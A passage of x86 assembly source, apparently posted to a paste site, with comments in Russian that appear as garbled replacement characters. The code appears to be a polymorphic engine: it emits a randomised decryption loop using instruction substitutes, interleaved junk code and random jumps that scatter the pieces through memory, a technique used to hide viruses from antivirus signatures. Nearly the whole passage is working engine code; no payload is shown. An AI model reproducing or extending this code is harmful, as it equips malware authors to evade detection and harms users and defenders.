  540.     call    [edx].rgen_addr
  541.     push    eax
  542.     push    portion
  543.     call    [edx].rgen_addr
  544.     push    eax
  545.     add     eax,dword ptr [esp+4]
  546.     call    goto_free_addr
  547.     pop     eax
  548.     call    gen_trash
  549.     mov     ax,0C483h
  550.     stosw
  551.     mov     al,04
  552.     jmp     _iprendtrash_
  553. ;--------------------------------------------------------------------------------------------------------
  554. _pop__reg1_:
  555.     mov     al,58h
  556.     add     al,bh
  557.  
  558. _iprendtrash_:
  559.     stosb
  560.     pop     eax
  561.     call    gen_trash
  562.     ret
  563. ;=======================================[POP reg1]=======================================================
  564.  
  565.  
  566.  
  567.  
  568.  
  569. ;=======================================[PUSH imm]=======================================================
  570. instr___push__imm:
  571.     push    portion
  572.     call    [edx].rgen_addr
  573.     push    eax
  574.     push    portion
  575.     call    [edx].rgen_addr
  576.     push    eax
  577.     add     eax,dword ptr [esp+4]
  578.     call    goto_free_addr
  579.     pop     eax
  580.     call    gen_trash
  581. ;--------------------------------------------------------------------------------------------------------
  582.     push    2                                   ;PUSH imm ���
  583.     call    [edx].rgen_addr                     ;MOV reg2,imm   PUSH reg2      ?
  584.     test    eax,eax
  585.     je      _push__imm_
  586. ;--------------------------------------------------------------------------------------------------------
  587. _mov__reg2_imm___push__reg2_:
  588.     mov     al,0B8h
  589.     add     al,bl
  590.     stosb
  591.     mov     eax,ecx
  592.     stosd
  593.     pop     eax
  594.     call    gen_trash
  595.     push    portion
  596.     call    [edx].rgen_addr
  597.     push    eax
  598.     push    portion
  599.     call    [edx].rgen_addr
  600.     push    eax
  601.     add     eax,dword ptr [esp+4]
  602.     call    goto_free_addr
  603.     pop     eax
  604.     call    gen_trash  
  605.  
  606.     mov     al,50h
  607.     add     al,bl
  608.     stosb
  609.     jmp     _ipiendtrash_
  610. ;--------------------------------------------------------------------------------------------------------
  611. _push__imm_:
  612.     mov     al,68h
  613.     stosb
  614.     mov     eax,ecx
  615.     stosd
  616.  
  617. _ipiendtrash_:
  618.     pop     eax
  619.     call    gen_trash  
  620.     ret
  621. ;=======================================[PUSH imm]=======================================================
  622.  
  623.  
  624.  
  625.  
  626.  
  627. ;=====================================[ADD reg1,imm]=====================================================
  628. instr___add__reg_imm:
  629.     push    portion
  630.     call    [edx].rgen_addr
  631.     push    eax
  632.     push    portion
  633.     call    [edx].rgen_addr
  634.     push    eax
  635.     add     eax,dword ptr [esp+4]
  636.     call    goto_free_addr
  637.     pop     eax
  638.     call    gen_trash
  639.     mov     al,81h
  640.     stosb
  641. ;--------------------------------------------------------------------------------------------------------
  642.     push    2                                   ;ADD reg1,imm ���
  643.     call    [edx].rgen_addr                     ;SUB reg1,-imm     ?  
  644.     imul    eax,28h
  645.     add     al,0C0h
  646.     add     al,bh
  647.     stosb
  648. ;--------------------------------------------------------------------------------------------------------
  649.     mov     dword ptr [ebp-24],edi
  650.     xor     eax,eax
  651.     stosd
  652.     pop     eax
  653.     call    gen_trash
  654.     ret
  655. ;=====================================[ADD reg1,imm]=====================================================  
  656.  
  657.  
  658.  
  659.  
  660.  
  661. ;=====================================[MOV reg2,imm]=====================================================
  662. instr___mov__reg_imm:
  663.     push    portion
  664.     call    [edx].rgen_addr
  665.     push    eax
  666.     push    portion
  667.     call    [edx].rgen_addr
  668.     push    eax
  669.     add     eax,dword ptr [esp+4]
  670.     call    goto_free_addr
  671.     pop     eax
  672.     call    gen_trash
  673. ;--------------------------------------------------------------------------------------------------------
  674.     push    2                                   ;MOV reg2,imm ���
  675.     call    [edx].rgen_addr                     ;PUSH imm   POP reg2     ?  
  676.     test    eax,eax
  677.     je      _mov__reg_imm_
  678. ;--------------------------------------------------------------------------------------------------------
  679. _push__imm___pop__reg_:
  680.     mov     al,68h
  681.     stosb
  682.     mov     dword ptr [ebp-28],edi
  683.     xor     eax,eax
  684.     stosd
  685.     pop     eax
  686.     call    gen_trash
  687.     push    portion                  
  688.     call    [edx].rgen_addr
  689.     push    eax
  690.     push    portion
  691.     call    [edx].rgen_addr
  692.     push    eax
  693.     add     eax,dword ptr [esp+4]
  694.     call    goto_free_addr
  695.     pop     eax
  696.     call    gen_trash
  697.     mov     al,58h
  698.     add     al,bl
  699.     stosb
  700.     jmp     _mriendtrash_
  701. ;--------------------------------------------------------------------------------------------------------
  702. _mov__reg_imm_:
  703.     mov     al,0B8h
  704.     add     al,bl
  705.     stosb
  706.     mov     dword ptr [ebp-28],edi
  707.     xor     eax,eax
  708.     stosd
  709. _mriendtrash_:
  710.     pop     eax
  711.     call    gen_trash  
  712.     ret
  713. ;=====================================[MOV reg2,imm]=====================================================  
  714.  
  715.  
  716.  
  717.  
  718.  
  719. ;===============================[ADD/SUB/XOR [reg1],reg2]================================================
  720. instr___addxorsub__addrreg_reg:
  721.     push    portion
  722.     call    [edx].rgen_addr
  723.     push    eax
  724.     push    portion
  725.     call    [edx].rgen_addr
  726.     push    eax
  727.     add     eax,dword ptr [esp+4]
  728.     call    goto_free_addr
  729.     pop     eax
  730.     mov     dword ptr [ebp-32],edi
  731.     call    gen_trash
  732. ;--------------------------------------------------------------------------------------------------------
  733.     push    3                                   ;ADD, SUB, ��� XOR      ?
  734.     call    [edx].rgen_addr
  735.     mov     dword ptr [ebp-36],eax
  736. ;--------------------------------------------------------------------------------------------------------
  737.     cmp     al,1
  738.     jl      _xor01_
  739.     jg      _sub01_
  740. _add01_:
  741.     jmp     _n001_
  742. _sub01_:
  743.     mov     al,29h
  744.     jmp     _n001_
  745. _xor01_:
  746.     mov     al,31h  
  747. _n001_:
  748.     stosb    
  749.     mov     al,bl
  750.     shl     eax,3
  751.     add     al,bh
  752.     stosb
  753.     pop     eax
  754.     call    gen_trash
  755.     ret
  756. ;===============================[ADD/SUB/XOR [reg1],reg2]================================================  
  757.  
  758.  
  759.  
  760.  
  761.  
  762. ;================================[ADD/SUB/XOR reg2,imm]==================================================
  763. instr___addxorsub__reg_imm:
  764.     push    portion
  765.     call    [edx].rgen_addr
  766.     push    eax
  767.     push    portion
  768.     call    [edx].rgen_addr
  769.     push    eax
  770.     add     eax,dword ptr [esp+4]
  771.     call    goto_free_addr
  772.     pop     eax
  773.     call    gen_trash
  774. ;--------------------------------------------------------------------------------------------------------
  775.     mov     al,81h
  776.     stosb
  777. ;--------------------------------------------------------------------------------------------------------
  778.     push    3                                   ;ADD, SUB, ��� XOR      ?
  779.     call    [edx].rgen_addr
  780.     mov     dword ptr [ebp-44],eax
  781.     cmp     al,1
  782.     mov     al,bl                                   ;reg2
  783.     jl      _xor02_
  784.     jg      _sub02_
  785. _add02_:
  786.     add     al,0C0h
  787.     jmp     _n002_                                  
  788.  
  789. _sub02_:
  790.     add     al,0E8h
  791.     jmp     _n002_
  792.  
  793. _xor02_:
  794.     add     al,0F0h
  795.  
  796. _n002_:
  797.     stosb
  798.     mov     dword ptr [ebp-40],edi
  799.     xor     eax,eax
  800.     stosd
  801.     pop     eax
  802.     call    gen_trash                        
  803.     ret
  804. ;================================[ADD/SUB/XOR reg2,imm]==================================================  
  805.  
  806.  
  807.  
  808.  
  809.  
  810. ;======================================[DEC reg1]========================================================
  811. instr___dec__reg:
  812.     push    portion
  813.     call    [edx].rgen_addr
  814.     push    eax
  815.     push    portion    
  816.     call    [edx].rgen_addr
  817.     push    eax
  818.     add     eax,dword ptr [esp+4]
  819.     call    goto_free_addr
  820.     pop     eax
  821.     call    gen_trash
  822. ;--------------------------------------------------------------------------------------------------------
  823.     push    2                                   ;DEC reg1 ���
  824.     call    [edx].rgen_addr                     ;SUB reg1,1     ?
  825.     test    eax,eax
  826.     je      _dec__reg1_
  827. ;--------------------------------------------------------------------------------------------------------
  828. _sub__reg1_1_:
  829.     mov     al,83h
  830.     stosb
  831.     mov     al,0E8h
  832.     add     al,bh
  833.     stosb
  834.     mov     al,1
  835.     jmp     _idrendtrash_    
  836. ;--------------------------------------------------------------------------------------------------------
  837. _dec__reg1_:
  838.     mov     al,bh                                                   ;reg1
  839.     add     al,48h
  840. _idrendtrash_:
  841.     stosb
  842.     pop     eax
  843.     call    gen_trash
  844.     ret
  845. ;======================================[DEC reg1]========================================================  
  846.  
  847.  
  848.  
  849.  
  850.  
  851. ;=================================[DEC [esp]   JNE imm]==================================================
  852. instr___dec__addresp:
  853.     push    portion
  854.     call    [edx].rgen_addr
  855.     push    eax
  856.     push    portion
  857.     call    [edx].rgen_addr
  858.     push    eax
  859.     add     eax,dword ptr [esp+4]
  860.     call    goto_free_addr
  861.     pop     eax
  862.     call    gen_trash
  863. ;--------------------------------------------------------------------------------------------------------
  864.     push    2                                   ;DEC [esp] ���
  865.     call    [edx].rgen_addr                     ;SUB [esp],1     ?      
  866.     test    eax,eax
  867.     je      _dec__addresp_
  868. ;--------------------------------------------------------------------------------------------------------
  869. _sub__addresp_1_:
  870.     mov     eax,01242C83h
  871.     stosd
  872.     jmp     _jne__imm_
  873.  
  874. _dec__addresp_:
  875.     mov     ax,0CFFh
  876.     stosw
  877.     mov     al,24h
  878.     stosb
  879.  
  880. _jne__imm_:                                     ;JNE imm
  881.     push    ecx
  882.     mov     ecx,edi
  883.     mov     ax,850Fh
  884.     stosw
  885.  
  886.     sub     ecx,dword ptr [ebp-32]  
  887.     add     ecx,6
  888.     neg     ecx
  889.     xchg    eax,ecx
  890.     stosd
  891.     pop     ecx
  892.     pop     eax
  893.     call    gen_trash
  894.     ret
  895. ;=====================================[DEC [esp]   JNE imm]==============================================  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  904. ;������� goto_free_addr
  905. ;���������, �������, � ����� (���� ����) ������ ������ � ������
  906. ;����:
  907. ;eax - ������ ���� ( � ������), ������� ���� ����� �������� �� ������ ����������� ���������� ������
  908. ;�����:
  909. ;edi - ����� �����
  910. ;� ����� (���� ���� ����) ������ ������ � ������
  911. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  912. goto_free_addr:
  913.     push    eax
  914.     call    get_free_addr                       ;�������� �����, �� �������� ����� ����� �������� ������ ���������� (� ������) ����
  915.     push    eax
  916.     jnc     _nojmp_                             ;���������, ����� �� ���������� �����?
  917.     push    edi                                 ;���� ��, ����, �� ����������� ������� ��� jmp'a
  918.     sub     edi,eax
  919.     inc     edi
  920.     inc     edi
  921.     mov     eax,edi
  922. _abs01_:
  923.     neg     eax
  924.     js      _abs01_
  925. _jmpshort0xEB_:
  926.     cmp     eax,80h
  927.     jae     _jmpnear0xE9_
  928.     neg     edi
  929.     xchg    edi,dword ptr [esp]
  930.     mov     al,0EBh
  931.     stosb
  932.     pop     eax
  933.     stosb
  934.     jmp     _nextgfa_  
  935.    
  936. _jmpnear0xE9_:  
  937.     add     edi,3  
  938.     neg     edi    
  939.     xchg    edi,dword ptr [esp]
  940.     mov     al,0E9h                             ;� ���������� jmp
  941.     stosb
  942.     pop     eax
  943.     stosd
  944. _nextgfa_:  
  945.     ;mov        eax,min_portion
  946.     push    min_portion
  947.     call    [edx].rgen_addr                     ;!!!!! ����� �����������  
  948.     call    gen_trash                           ;����� ���� ������� ��� ��shit� ����� ������  
  949.  
  950. _nojmp_:
  951.     pop     edi
  952.     pop     eax  
  953.     ret                                         ;�������
  954. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  955. ;����� ������� goto_free_addr
  956. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  957.  
  958.  
  959.  
  960.  
  961.  
  962. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  963. ;������� get_free_addr
  964. ;��������� ���������� ���������� ������ ��� ������ ������� ���������� ����
  965. ;����:
  966. ;(+)
  967. ;�����:
  968. ;(+)
  969. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  970. get_free_addr:
  971.     push    edi                                 ;[esp+12]
  972.     push    esi                                 ;[esp+08]
  973.     push    ecx                                 ;[esp+04]
  974.     push    eax                                 ;[esp+00]
  975.  
  976. _new_addr_:
  977.     push    num_steps                           ;30
  978.     pop     esi                                 ;������� ������� ����� ��������� ����� � �������� ����������
  979. _find_free_addr_:
  980.     dec     esi
  981.     je      _correct_new_addr_                  ;���� ��� ������� ����� ��������� ����� ����������� (�.�. �� ������ �� ����� ��������� �����), ������� ��� �������� ������, ������� ��� ������ (� ������ ��������� �������)
  982.     push    max_portion                         ;� ��� ��� ��������, � ������� ������ ����� ��������� �����  
  983.     call    [edx].rgen_addr
  984.     add     eax,dword ptr [ebp-16]              ;��������� �����, ������� �������� ������� ������� ����������
  985.     xchg    eax,edi
  986.     mov     ecx,dword ptr [esp]                 ;����� � ecx ������ ���������� ����, ������� ���� ����� ����� �������� (��� �������� ������� + ������ ������� (������ ����������)) �� ���������� ������    
  987.     add     ecx,size_general_instr+5+4+2+min_portion
  988.     xor     eax,eax
  989.     push    edi  
  990.     repe    scasb                               ;� ���������, ������ �� ������ �����?
  991.     pop     edi
  992.     jne     _find_free_addr_                    ;���� ��, ���������� ������  
  993.     stosd                                       ;����� �� ����� ��������� �����, � ������������ edi (edi+=4, ��� ����� �� ��������)  
  994.     jmp     _ok_new_addr_                       ;��������� ������  
  995. _correct_new_addr_:
  996.     add     dword ptr [ebp-16],min_portion;+1   ;������� �������� ������ ��������� �������      
  997.     jmp     _new_addr_
  998. _ok_new_addr_:
  999.     push    edi
  1000.     cmp     edi,dword ptr [esp+4+12]            ;���� ���������� ��������� ����� ������, ��� �������, �� ����� ����, ����� �������� jmp ��� �������� �� ���� ����� �����    
  1001.     jle     _jc_ok_
  1002.     push    size_general_instr+5+4+2+min_portion  
  1003.     pop     ecx                                 ;�����, ��������, ���� ������� ����� ����� ������ ����� � �����, �� jmp ������ �� �����, � �������� ��������� ����� ����� ���� �������
  1004.     std
  1005.     xor     eax,eax
  1006.     repe    scasb
  1007.     cld
  1008.     je      _jc_ok_                             ;���� ��� ����� �� �����, ����� ������� jmp
  1009.     cmp     edi,dword ptr [esp+4+12]
  1010.     jg      _jc_ok_
  1011.     mov     edi,dword ptr [esp+4+12]      
  1012.     mov     eax,dword ptr [esp]
  1013.     sub     eax,edi
  1014.     call    gen_trash
  1015.     clc
  1016.     jmp     _getfaret_    
  1017.  
  1018. _jc_ok_:
  1019.     stc  
  1020.    
  1021. _getfaret_:
  1022.     pop     eax
  1023.     pop     ecx
  1024.     pop     ecx
  1025.     pop     esi
  1026.     pop     edi  
  1027.     ret                                         ;�������  
  1028. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1029. ;����� ������� get_free_addr  
  1030. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1037. ;��������������� ������� gen_trash ��� ������ ���������� ������
  1038. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1039. gen_trash:
  1040.     mov     [ebp].buf_for_trash,edi
  1041.     mov     [ebp].size_trash,eax
  1042.     mov     [ebp].regs,ebx
  1043.     push    ebp  
  1044.     call    [edx].tgen_addr
  1045.     xchg    eax,edi
  1046.     ret
  1047. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1048. ;����� ������� gen_trash
  1049. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1050.  
  1051.  
  1052.  
  1053.  
  1054.  
  1055. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1056. ;������� gen_reg
  1057. ;��������� ������� ��������� (� ������ ��� ����� � ��������������)
  1058. ;�����:
  1059. ;bh - reg1
  1060. ;bl - reg2
  1061. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1062. gen_reg:
  1063. _gen_reg1_:
  1064.     call    random_reg
  1065.     cmp     al,4
  1066.     je      _gen_reg1_
  1067.     cmp     al,5
  1068.     je      _gen_reg1_
  1069.     xchg    eax,ebx
  1070. _gen_reg2_:
  1071.     call    random_reg
  1072.     cmp     al,4
  1073.     je      _gen_reg2_
  1074.     cmp     al,5
  1075.     je      _gen_reg2_
  1076.     cmp     al,bl
  1077.     je      _gen_reg2_
  1078.     mov     bh,al
  1079.     ret
  1080. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1081. ;����� ������� gen_reg
  1082. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  1083.  
  1084.  
  1085.  
  1086.  
  1087.  
  1088. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1089. ;��������������� ������� ��������� ���������� ��������
  1090. ;�����:
  1091. ;eax - ��������� �������
  1092. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1093. random_reg:
  1094.     push    8
  1095.     call    [edx].rgen_addr
  1096.     ret
  1097. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1098. ;����� ������� random_reg
  1099. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  1100.  
  1101.  
  1102.  
  1103.  
  1104.  
  1105. ;========================================================================================================
  1106. FINESize    equ     $ - FINE  
  1107.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement